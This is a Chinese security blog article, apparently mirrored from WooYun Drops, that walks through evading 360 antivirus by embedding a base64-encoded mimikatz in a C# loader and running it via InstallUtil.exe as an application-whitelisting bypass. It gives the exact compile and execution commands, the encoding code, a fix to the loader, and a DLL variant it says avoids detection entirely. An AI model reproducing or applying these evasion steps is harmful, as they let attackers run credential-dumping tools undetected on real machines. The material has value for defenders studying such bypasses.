利用白名单绕过360实例 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
利用白名单绕过360实例
0x00 前言
最近subTee
在其博客中介绍了如何利用白名单绕过防护,但细节存在bug
,所以本文仅介绍如何修复其bug
并利用该方法绕过360
,更多利用方法值得探索
博客链接:
http://subt0x10.blogspot.hk/(需翻墙)
文章地址:
http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墙)
0x01 测试目标
下载最新版本Mimikatz
,实现绕过杀毒软件的查杀。
0x02 测试环境
操作系统:Win7 x64
mimikatz版本:2.0 alpha 20150906 (oe.eo) edition
(目前为止最新)
下载链接:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906
测试日期:9/14/2015
0x03 实际测试
建议先了解参考链接,链接中提到的相关基础知识不做再次介绍
1、下载最新mimikatz,测试查杀情况
毫无疑问,被查杀,如图
2、利用InstallUtil.exe执行程序
(1)下载https://gist.github.com/subTee/00cdac8990584bd2c2fe并保存为PELoader.cs
(2)参照博客中的示例,执行如下代码:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图,生成PELoader.exe
,然后通过InstallUtil.exe
执行PELoader.exe
成功加载运行mimikatz
进程显示为InstallUtil.exe
,如图
(3)测试生成的PELoader.exe
查杀情况
如图,360成功检测威胁
(4)尝试修改PELoader.cs
阅读代码发现Line853-856
存储了base64
加密后的mimikatz
那么参照作者给出的修改方法修改
作者给出的修改方法如下:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") *
[OR]
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
(5)测试Base64 Encode Mimikatz In PowerShell
按照作者给出的方法对mimikatz
作base64
编码并保存在Mimikatz.b64文件中
如图
执行Powershell
代码
执行后生成Mimikatz.b64
,如图
打开将内容复制到PELoader.cs
中的变量KatzCompressed
的定义中,如图
按照步骤(2)执行测试,发现错误,如图
0x04 分析
作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序
0x05 解决方案
在做了多次实验并研究代码后成功找到了错误原因:
Powershell
作base64
编码同c#
对base64
解码之间存在解析错误
解决步骤:
(1)使用c#对mimikatz作base64加密
代码如下:
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
sw.Write(AsBase64String);
sw.Close();
}
}
}
我使用的环境是vs2012
,新建c#
工程,填写以上代码,编译后运行,生成新的mimikatz.b64
,如图
细心的同学可以发现和之前使用Powershell
生成的mimikatz.b64
有所区别
(2)替换变量KatzCompressed
的定义内容
如图
(3)修改解密过程
定位PELoader.cs
Line106,去掉
byte[] decompressed = Decompress(FromBase64);
在前面添加“//”即可,如图
(4)再次编译并利用InstallUtil.exe
执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图
证明修改成功,能够顺利执行我们修改的代码
(5)增强免杀
采用如下生成步骤:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
如图
也可以成功加载mimikatz
测试查杀情况
如图
注:测试全过程开启360,主动防御未触发
0x06 小结
通过InstallUtil.exe
执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。
参照zone
中大家的建议,希望这篇文章是大家喜欢看到的类型:)
本文由三好学生原创并首发于乌云drops,转载请注明
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK